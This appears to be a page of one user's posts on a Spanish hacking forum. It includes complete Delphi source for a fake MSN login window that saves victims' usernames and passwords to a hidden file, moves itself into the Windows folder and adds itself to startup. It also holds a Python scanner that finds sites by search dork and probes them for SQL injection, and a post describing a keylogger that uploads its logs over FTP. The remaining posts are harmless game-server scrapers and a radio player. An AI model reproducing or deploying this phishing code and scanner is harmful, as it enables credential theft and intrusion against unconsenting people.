elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


  Mostrar Mensajes
Páginas: 1 ... 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 [28] 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 ... 55
271  Programación / Programación General / [Delphi] Fake MSN 0.2 en: 21 Noviembre 2012, 18:18 pm
Aca les traigo la nueva version de este Fake MSN hecho en delphi.

Con las siguientes opciones :

  • El programa al cargarse se mueve automaticamente a la carpeta de windows
  • El programa se ejecuta cuando Windows se inicia
  • Se ocultan los archivos relacionados al programa
  • Con poner "doddy" en user y "hackman" en pass en el programa se cargan los logs ocultos

Una imagen



El codigo

Código
  1. {
  2. Fake MSN 0.2
  3. Coded By Doddy H
  4. }
  5.  
  6. unit fake;
  7.  
  8. interface
  9.  
  10. uses
  11.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  12.  Dialogs, jpeg, ExtCtrls, StdCtrls, Registry;
  13.  
  14. type
  15.  TForm1 = class(TForm)
  16.    Image1: TImage;
  17.    Edit1: TEdit;
  18.    Edit2: TEdit;
  19.    Image2: TImage;
  20.    procedure Edit1Click(Sender: TObject);
  21.    procedure Edit2Click(Sender: TObject);
  22.    procedure FormCreate(Sender: TObject);
  23.    procedure Image2Click(Sender: TObject);
  24.  private
  25.    { Private declarations }
  26.  public
  27.    { Public declarations }
  28.  end;
  29.  
  30. var
  31.  Form1: TForm1;
  32.  
  33. implementation
  34.  
  35. {$R *.dfm}
  36.  
  37. procedure TForm1.Edit1Click(Sender: TObject);
  38. begin
  39.  Edit1.Text := '';
  40. end;
  41.  
  42. procedure TForm1.Edit2Click(Sender: TObject);
  43. begin
  44.  Edit2.Text := '';
  45.  Edit2.PasswordChar := '*';
  46. end;
  47.  
  48. procedure TForm1.FormCreate(Sender: TObject);
  49.  
  50. var nombrereal: string;
  51.  rutareal: string;
  52.  yalisto: string;
  53.  her: TRegistry;
  54.  
  55. begin
  56.  
  57.  nombrereal := ExtractFileName(ParamStr(0));
  58.  rutareal := ParamStr(0);
  59.  yalisto := 'C:\WINDOWS\' + nombrereal;
  60.  
  61.  MoveFile(Pchar(rutareal), Pchar(yalisto));
  62.  
  63.  her := TRegistry.Create;
  64.  her.RootKey := HKEY_LOCAL_MACHINE;
  65.  
  66.  her.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);
  67.  her.WriteString('uber', yalisto);
  68.  her.Free;
  69.  
  70.  SetFileAttributes(PChar(yalisto), FILE_ATTRIBUTE_HIDDEN);
  71.  SetFileAttributes(PChar('C:/windows/datos.txt'), FILE_ATTRIBUTE_HIDDEN);
  72.  
  73. end;
  74.  
  75. procedure TForm1.Image2Click(Sender: TObject);
  76.  
  77. var archivo: TextFile;
  78.  ruta: string;
  79.  
  80. begin
  81.  
  82.  if (Edit1.Text = 'doddy') and (Edit2.Text = 'hackman') then
  83.  begin
  84.    WinExec(PChar('notepad c:/windows/datos.txt'), SW_SHOW);
  85.  end
  86.  else
  87.  begin
  88.  
  89.    if Edit1.Text = '' then
  90.    begin
  91.      ShowMessage('Escribe tu Id. de Window Live ID en este formato: tu nombre@ejemplo.com');
  92.    end;
  93.    if Edit2.Text = '' then
  94.    begin
  95.      ShowMessage('Escribe tu contraseña');
  96.    end
  97.    else
  98.    begin
  99.      if Edit2.Text = 'Escribe aqui tu contraseña' then
  100.      begin
  101.        ShowMessage('Escribe tu contraseña');
  102.      end
  103.      else
  104.      begin
  105.        ruta := 'c:/windows/datos.txt'; //mod
  106.        if FileExists(ruta) then
  107.        begin
  108.          AssignFile(archivo, ruta);
  109.          FileMode := fmOpenWrite;
  110.          Append(archivo);
  111.          Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' + Edit2.Text);
  112.          CloseFile(archivo);
  113.          Application.MessageBox('Se ha producido un error , es necesario reiniciar Window Live Messenger', 'Window Live Messenger', MB_OK);
  114.          Form1.Close;
  115.        end
  116.        else
  117.        begin
  118.          AssignFile(archivo, ruta);
  119.          FileMode := fmOpenWrite;
  120.          ReWrite(archivo);
  121.          Writeln(archivo, '[user] : ' + Edit1.Text + ' [password] : ' + Edit2.Text);
  122.          CloseFile(archivo);
  123.          Application.MessageBox('Se ha producido un error , es necesario reiniciar Window Live Messenger', 'Window Live Messenger', MB_OK);
  124.          Form1.Close;
  125.        end;
  126.      end;
  127.    end;
  128.  end;
  129.  
  130. end;
  131.  
  132. end.
  133.  
  134. // The End ?
  135.  

Si quieren bajar el proyecto + el programa compilado lo pueden hacer de aca.

Cualquier sugerencia o error diganlo para mejorar (porque el programa en si no me convence xDD).

272  Programación / Scripting / Re: [Perl] Counter Strike 1.6 Servers List en: 13 Noviembre 2012, 16:17 pm
ja , yo nunca busco nacionales porque me da lo mismo , de hecho juego al half life con rusos en el mapa crossfire xDDD.
273  Programación / Scripting / [Perl] Counter Strike 1.6 Servers List en: 12 Noviembre 2012, 23:30 pm
Lo mismo que el otro buscador pero esta vez para CS 1.6

El codigo

Código
  1. #!usr/bin/perl
  2. #Counter Strike 1.6 Servers List
  3. #Version 0.1
  4. #Coded By Doddy H
  5.  
  6. use LWP::UserAgent;
  7. use Cwd;
  8. use Time::HiRes "usleep";
  9.  
  10. my $nave = LWP::UserAgent->new;
  11. $nave->agent(
  12. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  13. );
  14. $nave->timeout(5);
  15.  
  16. my @founds;
  17. my @founds_final;
  18.  
  19. head();
  20.  
  21. print "[+] Pages (1-899) : ";
  22. chomp( my $pag = <stdin> );
  23.  
  24. print "\n\n[+] Searching Servers ....\n";
  25.  
  26. for my $count ( 1 .. $pag ) {
  27.  
  28.    my $code =
  29.      toma( "http://www.gametracker.com/search/cs/?searchipp=50&searchpge="
  30.          . $count );
  31.  
  32.    my @found = $code =~ m/(\d{1,3}[.]\d{1,3}[.]\d{1,3}[.]\d{1,3}:\d+)/g;
  33.  
  34.    for (@found) {
  35.        push( @founds_final, $_ );
  36.    }
  37.  
  38. }
  39.  
  40. my @founds_final = repes(@founds_final);
  41.  
  42. print "\n[+] Servers Found : " . int(@founds_final);
  43.  
  44. my $ruta_logs = getcwd() . "/" . "cs_servers.txt";
  45.  
  46. if ( -f $ruta_logs ) {
  47.    unlink($ruta_logs);
  48. }
  49.  
  50. open( LOGS, ">>cs_servers.txt" );
  51.  
  52. for (@founds_final) {
  53.    print LOGS $_ . "\n";
  54. }
  55.  
  56. close LOGS;
  57.  
  58. print "\n\n[+] All results are stored in : $ruta_logs\n";
  59.  
  60. if ( -f $ruta_logs ) {
  61.    system($ruta_logs);
  62. }
  63.  
  64. copyright();
  65.  
  66. sub head {
  67.  
  68.    my @logo = (
  69.        "#=============================================#", "\n",
  70.        "#       Counter Strike 1.6 Servers List       #", "\n",
  71.        "#---------------------------------------------#", "\n",
  72.        "# Written By Doddy H                          #", "\n",
  73.        "# Email: lepuke[at]hotmail[com]               #", "\n",
  74.        "# Website: doddyhackman.webcindario.com       #", "\n",
  75.        "#---------------------------------------------#", "\n",
  76.        "# The End ?                                   #", "\n",
  77.        "#=============================================#", "\n"
  78.    );
  79.  
  80.    print "\n";
  81.  
  82.    marquesina(@logo);
  83.  
  84.    print "\n\n";
  85.  
  86. }
  87.  
  88. sub copyright {
  89.  
  90.    my @fin = ("-- == (C) Doddy Hackman 2012 == --");
  91.  
  92.    print "\n\n";
  93.    marquesina(@fin);
  94.    print "\n\n";
  95.  
  96.    <stdin>;
  97.  
  98.    exit(1);
  99.  
  100. }
  101.  
  102. sub marquesina {
  103.  
  104.    #Effect based in the exploits by Jafer Al Zidjali
  105.  
  106.    my @logo = @_;
  107.  
  108.    my $car = "|";
  109.  
  110.    for my $uno (@logo) {
  111.        for my $dos ( split //, $uno ) {
  112.  
  113.            $|++;
  114.  
  115.            if ( $car eq "|" ) {
  116.                mostrar( "\b" . $dos . $car, "/" );
  117.            }
  118.            elsif ( $car eq "/" ) {
  119.                mostrar( "\b" . $dos . $car, "-" );
  120.            }
  121.            elsif ( $car eq "-" ) {
  122.                mostrar( "\b" . $dos . $car, "\\" );
  123.            }
  124.            else {
  125.                mostrar( "\b" . $dos . $car, "|" );
  126.            }
  127.            usleep(40_000);
  128.        }
  129.        print "\b ";
  130.    }
  131.  
  132.    sub mostrar {
  133.        print $_[0];
  134.        $car = $_[1];
  135.    }
  136.  
  137. }
  138.  
  139. sub repes {
  140.    my @limpio;
  141.    foreach $test (@_) {
  142.        push @limpio, $test unless $repe{$test}++;
  143.    }
  144.    return @limpio;
  145. }
  146.  
  147. sub toma {
  148.    return $nave->get( $_[0] )->content;
  149. }
  150.  
  151. #The End ?
  152.  
274  Programación / Scripting / [Perl] Half Life Servers List 0.1 en: 12 Noviembre 2012, 23:30 pm
Este script se encarga de buscar servers del juego Half Life para entrar y jugar , los resultados se guardan en un archivo de texto.

El codigo

Código
  1. #!usr/bin/perl
  2. #Half Life Servers List 0.1
  3. #Coded By Doddy H
  4.  
  5. use LWP::UserAgent;
  6. use Cwd;
  7. use Time::HiRes "usleep";
  8.  
  9. my $nave = LWP::UserAgent->new;
  10. $nave->agent(
  11. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  12. );
  13. $nave->timeout(5);
  14.  
  15. my @founds;
  16. my @founds_final;
  17.  
  18. head();
  19.  
  20. print "[+] Searching Servers ....\n";
  21.  
  22. for my $count ( 1 .. 2 ) {
  23.  
  24.    my $code =
  25.      toma( "http://www.game-monitor.com/search.php?game=valve&pg="
  26.          . $count
  27.          . "&num=100" );
  28.  
  29.    my @found = $code =~ m/(\d{1,3}[.]\d{1,3}[.]\d{1,3}[.]\d{1,3}:\d+)/g;
  30.  
  31.    for (@found) {
  32.        push( @founds_final, $_ );
  33.    }
  34.  
  35. }
  36.  
  37. my @founds_final = repes(@founds_final);
  38.  
  39. print "\n[+] Servers Found : " . int(@founds_final);
  40.  
  41. my $ruta_logs = getcwd() . "/" . "hl_servers.txt";
  42.  
  43. if ( -f $ruta_logs ) {
  44.    unlink($ruta_logs);
  45. }
  46.  
  47. open( LOGS, ">>hl_servers.txt" );
  48.  
  49. for (@founds_final) {
  50.    print LOGS $_ . "\n";
  51. }
  52.  
  53. close LOGS;
  54.  
  55. print "\n\n[+] All results are stored in : $ruta_logs\n";
  56.  
  57. if ( -f $ruta_logs ) {
  58.    system($ruta_logs);
  59. }
  60.  
  61. copyright();
  62.  
  63. sub head {
  64.  
  65.    my @logo = (
  66.        "#=============================================#", "\n",
  67.        "#         Half Life Servers List 0.1          #", "\n",
  68.        "#---------------------------------------------#", "\n",
  69.        "# Written By Doddy H                          #", "\n",
  70.        "# Email: lepuke[at]hotmail[com]               #", "\n",
  71.        "# Website: doddyhackman.webcindario.com       #", "\n",
  72.        "#---------------------------------------------#", "\n",
  73.        "# The End ?                                   #", "\n",
  74.        "#=============================================#", "\n"
  75.    );
  76.  
  77.    print "\n";
  78.  
  79.    marquesina(@logo);
  80.  
  81.    print "\n\n";
  82.  
  83. }
  84.  
  85. sub copyright {
  86.  
  87.    my @fin = ("-- == (C) Doddy Hackman 2012 == --");
  88.  
  89.    print "\n\n";
  90.    marquesina(@fin);
  91.    print "\n\n";
  92.  
  93.    <stdin>;
  94.  
  95.    exit(1);
  96.  
  97. }
  98.  
  99. sub marquesina {
  100.  
  101.    #Effect based in the exploits by Jafer Al Zidjali
  102.  
  103.    my @logo = @_;
  104.  
  105.    my $car = "|";
  106.  
  107.    for my $uno (@logo) {
  108.        for my $dos ( split //, $uno ) {
  109.  
  110.            $|++;
  111.  
  112.            if ( $car eq "|" ) {
  113.                mostrar( "\b" . $dos . $car, "/" );
  114.            }
  115.            elsif ( $car eq "/" ) {
  116.                mostrar( "\b" . $dos . $car, "-" );
  117.            }
  118.            elsif ( $car eq "-" ) {
  119.                mostrar( "\b" . $dos . $car, "\\" );
  120.            }
  121.            else {
  122.                mostrar( "\b" . $dos . $car, "|" );
  123.            }
  124.            usleep(40_000);
  125.        }
  126.        print "\b ";
  127.    }
  128.  
  129.    sub mostrar {
  130.        print $_[0];
  131.        $car = $_[1];
  132.    }
  133.  
  134. }
  135.  
  136. sub repes {
  137.    my @limpio;
  138.    foreach $test (@_) {
  139.        push @limpio, $test unless $repe{$test}++;
  140.    }
  141.    return @limpio;
  142. }
  143.  
  144. sub toma {
  145.    return $nave->get( $_[0] )->content;
  146. }
  147.  
  148. #The End ?
  149.  
275  Programación / Scripting / [Perl Tk] Project KeyCagator 1.0 en: 3 Noviembre 2012, 15:39 pm
Un simple keylogger en Perl con las siguientes opciones :

  • Capturar teclas reconociendo mayusculas y minusculas asi como signos
  • Capturar ventanas activas
  • Capturar el escritorio de windows cada cierto tiempo o cada click del mouse
  • Oculta archivos relacionados al programa
  • Compresion de los logs a zip
  • Logs ordenados en un archivo HTML
  • Subir logs a un servidor FTP marcado
  • Ejecutarse cuando se inicie Windows

Una imagen del generador del keylogger



El codigo esta aca.

Tambien le doy las gracias a Mdh3ll que creo el primer keylogger en perl y del cual me base en parte para hacer este programa.

276  Programación / Scripting / [PyQT4] BingHack Tool 0.1 en: 3 Noviembre 2012, 15:39 pm
Un simple script para buscar en bing paginas vulnerables a SQLi.



El codigo

Código
  1. #!usr/bin/python
  2. #BingHack Tool 0.1
  3. #Coded By Doddy H
  4.  
  5. import sys,urllib2,re
  6. from PyQt4 import QtCore,QtGui
  7.  
  8. def toma(web) :
  9. nave = urllib2.Request(web)
  10. nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
  11. op = urllib2.build_opener()
  12. return op.open(nave).read()
  13.  
  14. def sql(webs):
  15. for web in webs :
  16.  if re.findall("=",web):
  17.   web = re.split("=",web)
  18.   web = web[0]+"="
  19.   app.processEvents()
  20.   try:
  21.    code = toma(web+"-1+union+select+1--")
  22.    if (re.findall("The used SELECT statements have a different number of columns",code,re.I)):
  23.     new.console.appendPlainText("[SQLI] : "+web)
  24.   except:
  25.    pass
  26.  
  27. def limpiar(pag):
  28.  
  29. limpia = []
  30. for p in pag:
  31.  if p not in limpia:
  32.   limpia.append(p)
  33. return limpia
  34.  
  35. def buscar(dork,count):
  36.  
  37. pag = []
  38. s = 10  
  39.  
  40. new.console.appendPlainText("[+] Searching pages ....")
  41.  
  42. while s <= int(count):
  43.  try:
  44.   code = toma("http://www.bing.com/search?q="+str(dork)+"&first="+str(s))
  45.   d = re.findall("<h3><a href=\"(.*?)\"",code,re.I)
  46.   s += 10
  47.   for a in d:
  48.    pag.append(a)
  49.  except:
  50.   pass
  51.  
  52. new.console.appendPlainText("[+] Cleaning ...")
  53.  
  54. pag = limpiar(pag)
  55. return pag
  56.  
  57. def scan():
  58.  
  59. new.console.clear()
  60. pages = buscar(new.dork.text(),new.pages.text())
  61. new.console.appendPlainText("[+] Scanning ...\n")
  62. sql(pages)
  63. new.console.appendPlainText("\n[+] Finished")
  64.  
  65. app = QtGui.QApplication(sys.argv)
  66.  
  67. new = QtGui.QWidget()
  68.  
  69. new.setWindowTitle("BingHack Tool 0.1 || Coded By Doddy H")
  70. new.resize(450,470)
  71. new.setStyleSheet("QWidget {background-color: #000000;color: #FF8000}")
  72.  
  73. new.label1 = QtGui.QLabel("Dork : ",new)
  74. new.label1.setStyleSheet("QWidget {background-color: #000000;color: #FF8000;font: normal 17px Verdana}")
  75. new.label1.setGeometry(30,23,80,20)
  76.  
  77. new.dork = QtGui.QLineEdit(new)
  78. new.dork.setStyleSheet("QWidget {background-color: #000000; color: #FF8000;border: 2px solid #FF8000}")
  79. new.dork.setGeometry(90,23,200,25)
  80.  
  81. new.label1 = QtGui.QLabel("Pages : ",new)
  82. new.label1.setStyleSheet("QWidget {background-color: #000000;color: #FF8000;font: normal 17px Verdana}")
  83. new.label1.setGeometry(30,60,80,20)
  84.  
  85. new.pages = QtGui.QLineEdit(new)
  86. new.pages.setStyleSheet("QWidget {background-color: #000000; color: #FF8000;border: 2px solid #FF8000}")
  87. new.pages.setGeometry(100,60,50,25)
  88.  
  89. new.search = QtGui.QPushButton("Scan",new)
  90. new.search.setGeometry(305,22,110,28)
  91. new.search.setStyleSheet("QWidget {background-color: #000000; color: #FF8000;border: 2px solid #FF8000}")
  92.  
  93. new.label2 = QtGui.QLabel("Console",new)
  94. new.label2.setStyleSheet("QWidget {background-color: #000000;color: #FF8000;font: normal 17px Verdana}")
  95. new.label2.setGeometry(185,110,70,20)
  96.  
  97. new.console = QtGui.QPlainTextEdit(new)
  98. new.console.setGeometry(50,150,350,300)
  99. new.console.setStyleSheet("QWidget {background-color: #000000; color: #FF8000;border: 2px solid #FF8000}")
  100.  
  101. new.connect(new.search,QtCore.SIGNAL("clicked()"),scan)
  102.  
  103. new.show()
  104.  
  105. sys.exit(app.exec_())
  106.  
  107. # The End ?
  108.  
277  Programación / Scripting / [PyQT4] MD5 Crack Online 0.1 en: 3 Noviembre 2012, 15:38 pm
Un simple script para crackear un hash MD5 mediante una pagina que ofrece ese servicio.

Una imagen de como quedo



El codigo

Código
  1. #!usr/bin/python
  2. #MD5 Crack Online 0.1
  3. #Coded By Doddy H
  4. #Test with 098f6bcd4621d373cade4e832627b4f6
  5.  
  6. import sys,urllib2,re
  7. from PyQt4 import QtCore,QtGui
  8.  
  9. def toma(web) :
  10. nave = urllib2.Request(web)
  11. nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
  12. op = urllib2.build_opener()
  13. return op.open(nave).read()
  14.  
  15. def crackit(hash):
  16. if(len(hash) == 32):
  17.  code = toma("http://md5.hashcracking.com/search.php?md5="+hash)
  18.  if (re.findall("Cleartext of "+hash+" is (.*)",code)):
  19.   rex = re.findall("Cleartext of "+hash+" is (.*)",code)
  20.   return rex[0]
  21.  else:
  22.   return "Not Found"
  23. else:
  24.  print "Hash invalid"
  25.  
  26. def crack():
  27. new.result.setText(crackit(str(new.md5.text())))
  28.  
  29. app = QtGui.QApplication(sys.argv)
  30.  
  31. new = QtGui.QWidget()
  32.  
  33. new.setWindowTitle("MD5 Crack Online 0.1 || Coded By Doddy H")
  34. new.resize(800,70)
  35. new.setStyleSheet("QWidget {background-color: #000000;color: #00FFFF}")
  36.  
  37. new.label1 = QtGui.QLabel("MD5 : ",new)
  38. new.label1.setStyleSheet("QWidget {background-color: #000000;color: #00FFFF;font: normal 17px Verdana}")
  39. new.label1.setGeometry(20,23,80,20)
  40.  
  41. new.md5 = QtGui.QLineEdit(new)
  42. new.md5.setStyleSheet("QWidget {background-color: #000000; color: #00FFFF;border: 2px solid #00FFFF}")
  43. new.md5.setGeometry(75,23,247,25)
  44.  
  45. new.label2 = QtGui.QLabel("Result : ",new)
  46. new.label2.setStyleSheet("QWidget {background-color: #000000;color: #00FFFF;font: normal 17px Verdana}")
  47. new.label2.setGeometry(335,23,80,20)
  48.  
  49. new.result = QtGui.QLineEdit(new)
  50. new.result.setStyleSheet("QWidget {background-color: #000000; color: #00FFFF;border: 2px solid #00FFFF}")
  51. new.result.setGeometry(410,23,230,25)
  52.  
  53. new.search = QtGui.QPushButton("Crack",new)
  54. new.search.setGeometry(660,23,120,28)
  55. new.search.setStyleSheet("QWidget {background-color: #000000; color: #00FFFF;border: 2px solid #00FFFF}")
  56.  
  57. new.connect(new.search,QtCore.SIGNAL("clicked()"),crack)
  58.  
  59. new.show()
  60.  
  61. sys.exit(app.exec_())
  62.  
  63. # The End ?
  64.  
278  Programación / Scripting / [Perl] Radio X 0.2 en: 15 Octubre 2012, 02:54 am
Estaba harto de escuchar siempre la misma cancion asi que mejore este script para poder escuchar musica con los siguientes generos.

  • Rock'n'Roll
  • Pop
  • Ambient
  • Trance
  • House
  • Y otros mas .......


Aclaro que necesitan bajar el mplayer , esta el link de descarga en el script , una vez que lo tengan descargado y descomprimido creen una carpeta llamada
"mplayer" y copian todos los archivos del archivo descomprimido en la carpeta recien creada , todo esto tiene que ser en el mismo directorio donde este el script.

El codigo es el siguiente

Código
  1. #!usr/bin/perl
  2. #Radio X
  3. #Version 0.2
  4. #Coded By Doddy H
  5. #
  6. #Download : http://www.mplayerhq.hu/MPlayer/releases/win32/MPlayer-mingw32-1.0rc2.zip
  7. #
  8.  
  9. use Cwd;
  10.  
  11. my @emisoras = (
  12.  
  13.    {},
  14.  
  15.    {
  16.  
  17.        "nombre" => "Absolute Classic Rock (Broadband)",
  18.        "genero" => "Rock'n'Roll",
  19.        "link" =>
  20. "http://network.absoluteradio.co.uk/core/audio/ogg/live.pls?service=vcbb"
  21.  
  22.    },
  23.  
  24.    {
  25.  
  26.        "nombre" => "Absolute Classic Rock (Modem)",
  27.        "genero" => "Rock'n'Roll",
  28.        "link" =>
  29. "http://network.absoluteradio.co.uk/core/audio/ogg/live.pls?service=vc"
  30.  
  31.    },
  32.  
  33.    {
  34.  
  35.        "nombre" => "Absolute Radio (Broadband)",
  36.        "genero" => "Pop",
  37.        "link" =>
  38. "http://network.absoluteradio.co.uk/core/audio/ogg/live.pls?service=vrbb"
  39.  
  40.    },
  41.  
  42.    {
  43.  
  44.        "nombre" => "Absolute Radio (Modem)",
  45.        "genero" => "Pop",
  46.        "link" =>
  47. "http://network.absoluteradio.co.uk/core/audio/ogg/live.pls?service=vr"
  48.  
  49.    },
  50.  
  51.    {
  52.  
  53.        "nombre" => "Absolute Xtreme (Broadband)",
  54.        "genero" => "Modern Rock",
  55.        "link" =>
  56. "http://network.absoluteradio.co.uk/core/audio/ogg/live.pls?service=vxbb"
  57.  
  58.    },
  59.  
  60.    {
  61.  
  62.        "nombre" => "Absolute Xtreme (Modem)",
  63.        "genero" => "Modern Rock",
  64.        "link" =>
  65. "http://network.absoluteradio.co.uk/core/audio/ogg/live.pls?service=vx"
  66.  
  67.    },
  68.  
  69.    {
  70.  
  71.        "nombre" => "HBR1.com - Dream Factory",
  72.        "genero" => "Ambient",
  73.        "link"   => "http://ubuntu.hbr1.com:19800/ambient.ogg"
  74.  
  75.    },
  76.  
  77.    {
  78.  
  79.        "nombre" => "HBR1.com - I.D.M. Tranceponder",
  80.        "genero" => "Trance",
  81.        "link"   => "http://ubuntu.hbr1.com:19800/trance.ogg"
  82.  
  83.    },
  84.  
  85.    {
  86.  
  87.        "nombre" => "HBR1.com - Tronic Lounge",
  88.        "genero" => "House",
  89.        "link"   => "http://ubuntu.hbr1.com:19800/tronic.ogg"
  90.  
  91.    },
  92.  
  93.    {
  94.  
  95.        "nombre" => "NRK Alltid Klassisk (Norway)",
  96.        "genero" => "Desconocido",
  97.        "link" =>
  98.          "http://media.hiof.no/streams/m3u/nrk-alltid-klassisk-172.ogg.m3u"
  99.  
  100.    },
  101.  
  102.    {
  103.  
  104.        "nombre" => "NRK Alltid Nyheter (Norway)",
  105.        "genero" => "Desconocido",
  106.        "link" =>
  107.          "http://media.hiof.no/streams/m3u/nrk-alltid-nyheter-172.ogg.m3u"
  108.  
  109.    },
  110.  
  111.    {
  112.  
  113.        "nombre" => "NRK mP3 (Norway)",
  114.        "genero" => "Desconocido",
  115.        "link"   => "http://media.hiof.no/streams/m3u/nrk-mpetre-172.ogg.m3u"
  116.  
  117.    },
  118.  
  119.    {
  120.  
  121.        "nombre" => "NRK P1 (Norway)",
  122.        "genero" => "General",
  123.        "link"   => "http://media.hiof.no/streams/m3u/nrk-p1-172.ogg.m3u",
  124.  
  125.    },
  126.  
  127.    {
  128.  
  129.        "nombre" => "NRK P2 (Norway)",
  130.        "genero" => "General",
  131.        "link"   => "http://media.hiof.no/streams/m3u/nrk-p2-172.ogg.m3u"
  132.  
  133.    },
  134.  
  135.    {
  136.  
  137.        "nombre" => "NRK P3 (Norway)",
  138.        "genero" => "General",
  139.        "link"   => "http://media.hiof.no/streams/m3u/nrk-petre-172.ogg.m3u"
  140.  
  141.    },
  142.  
  143.    {
  144.  
  145.        "nombre" => "WKNC 88.1 FM (NC State) (High Quality)",
  146.        "genero" => "Music",
  147.        "link"   => "http://wknc.sma.ncsu.edu:8000/wknchq.ogg.m3u"
  148.  
  149.    },
  150.  
  151.    {
  152.  
  153.        "nombre" => "WKNC 88.1 FM (NC State) (Low Quality)",
  154.        "genero" => "Music",
  155.        "link"   => "http://wknc.sma.ncsu.edu:8000/wkncmq.ogg.m3u"
  156.  
  157.    }
  158.  
  159. );
  160.  
  161. $SIG{INT} = \&retorno;
  162.  
  163. chdir( getcwd() . "/mplayer/" );
  164.  
  165. menu();
  166.  
  167. sub retorno {
  168.    print "\n\n[+] Press any key for return to the menu\n\n";
  169.    <stdin>;
  170.    menu();
  171. }
  172.  
  173. sub menu {
  174.  
  175.    head();
  176.  
  177.    for my $em ( 1 .. @emisoras - 1 ) {
  178.  
  179.        print "\n[+] Number : " . $em . "\n";
  180.        print "[+] Name : " . $emisoras[$em]->{nombre} . "\n";
  181.        print "[+] Station : " . $emisoras[$em]->{genero} . "\n";
  182.  
  183.    }
  184.  
  185.    print "\n\n[+] Option : ";
  186.    chomp( my $op = <stdin> );
  187.  
  188.    if ( $op =~ /\d+/ ) {
  189.        system("mplayer $emisoras[$op]->{link}");
  190.    }
  191.  
  192.    copyright();
  193.  
  194. }
  195.  
  196. sub head {
  197.  
  198.    clean();
  199.  
  200.    print qq(
  201.  
  202.  
  203. @@@@@     @    @@@@    @   @@@@     @     @
  204. @    @    @    @   @   @  @    @    @     @
  205. @    @   @ @   @    @  @  @    @     @   @
  206. @    @   @ @   @    @  @  @    @      @ @  
  207. @@@@@   @   @  @    @  @  @    @       @  
  208. @    @  @   @  @    @  @  @    @      @ @  
  209. @    @  @@@@@  @    @  @  @    @     @   @
  210. @    @ @     @ @   @   @  @    @    @     @
  211. @    @ @     @ @@@@    @   @@@@     @     @
  212.  
  213.  
  214.  
  215. );
  216.  
  217. }
  218.  
  219. sub copyright {
  220.    print "\n\n-- == (C) Doddy Hackman 2012 == --\n\n";
  221.    <stdin>;
  222.    exit(1);
  223. }
  224.  
  225. sub clean {
  226.    my $os = $^O;
  227.    if ( $os =~ /Win32/ig ) {
  228.        system("cls");
  229.    }
  230.    else {
  231.        system("clear");
  232.    }
  233. }
  234.  
  235. #The End ?
  236.  

Ejemplo de uso

Código:



 @@@@@     @    @@@@    @   @@@@     @     @
 @    @    @    @   @   @  @    @    @     @
 @    @   @ @   @    @  @  @    @     @   @
 @    @   @ @   @    @  @  @    @      @ @
 @@@@@   @   @  @    @  @  @    @       @
 @    @  @   @  @    @  @  @    @      @ @
 @    @  @@@@@  @    @  @  @    @     @   @
 @    @ @     @ @   @   @  @    @    @     @
 @    @ @     @ @@@@    @   @@@@     @     @




[+] Number : 1
[+] Name : Absolute Classic Rock (Broadband)
[+] Station : Rock'n'Roll

[+] Number : 2
[+] Name : Absolute Classic Rock (Modem)
[+] Station : Rock'n'Roll

[+] Number : 3
[+] Name : Absolute Radio (Broadband)
[+] Station : Pop

[+] Number : 4
[+] Name : Absolute Radio (Modem)
[+] Station : Pop

[+] Number : 5
[+] Name : Absolute Xtreme (Broadband)
[+] Station : Modern Rock

[+] Number : 6
[+] Name : Absolute Xtreme (Modem)
[+] Station : Modern Rock

[+] Number : 7
[+] Name : HBR1.com - Dream Factory
[+] Station : Ambient

[+] Number : 8
[+] Name : HBR1.com - I.D.M. Tranceponder
[+] Station : Trance

[+] Number : 9
[+] Name : HBR1.com - Tronic Lounge
[+] Station : House

[+] Number : 10
[+] Name : NRK Alltid Klassisk (Norway)
[+] Station : Desconocido

[+] Number : 11
[+] Name : NRK Alltid Nyheter (Norway)
[+] Station : Desconocido

[+] Number : 12
[+] Name : NRK mP3 (Norway)
[+] Station : Desconocido

[+] Number : 13
[+] Name : NRK P1 (Norway)
[+] Station : General

[+] Number : 14
[+] Name : NRK P2 (Norway)
[+] Station : General

[+] Number : 15
[+] Name : NRK P3 (Norway)
[+] Station : General

[+] Number : 16
[+] Name : WKNC 88.1 FM (NC State) (High Quality)
[+] Station : Music

[+] Number : 17
[+] Name : WKNC 88.1 FM (NC State) (Low Quality)
[+] Station : Music


[+] Option : 7
MPlayer 1.0rc2-4.2.1 (C) 2000-2007 MPlayer Team
CPU: AMD Sempron(tm) 140 Processor (Family: 16, Model: 6, Stepping: 2)
CPUflags:  MMX: 1 MMX2: 1 3DNow: 1 3DNow2: 1 SSE: 1 SSE2: 1
Compiled with runtime CPU detection.

Playing http://ubuntu.hbr1.com:19800/ambient.ogg.
Resolving ubuntu.hbr1.com for AF_INET...
Connecting to server ubuntu.hbr1.com[93.94.83.51]: 19800...
Cache size set to 320 KBytes
Cache fill: 15.00% (49152 bytes)
[Ogg] stream 0: audio (Vorbis), -aid 0
Ogg file format detected.
Clip info:
 Artist: A.C.E. (chillgressive tunes)
 Name: Acid Chill Experience (DJ-Set, exclusive 4 hbr1.com)
 Album: hbr1.com
 Genre: Ambient
 Track: 1
==========================================================================
Opening audio decoder: [ffmpeg] FFmpeg/libavcodec audio decoders
Ogg : bad packet in stream 0
AUDIO: 44100 Hz, 2 ch, s16le, 64.0 kbit/4.54% (ratio: 8000->176400)
Selected audio codec: [ffvorbis] afm: ffmpeg (FFmpeg Vorbis decoder)
==========================================================================
AO: [dsound] 44100Hz 2ch s16le (2 bytes per sample)
Video: no video
Starting playback...
279  Seguridad Informática / Nivel Web / Re: [PHP Shell] Poison Shell 1.0 (Version Identada) en: 9 Octubre 2012, 20:22 pm
gracias por las sugerencias pero la calabera se queda , me produce nostalgia xDD.
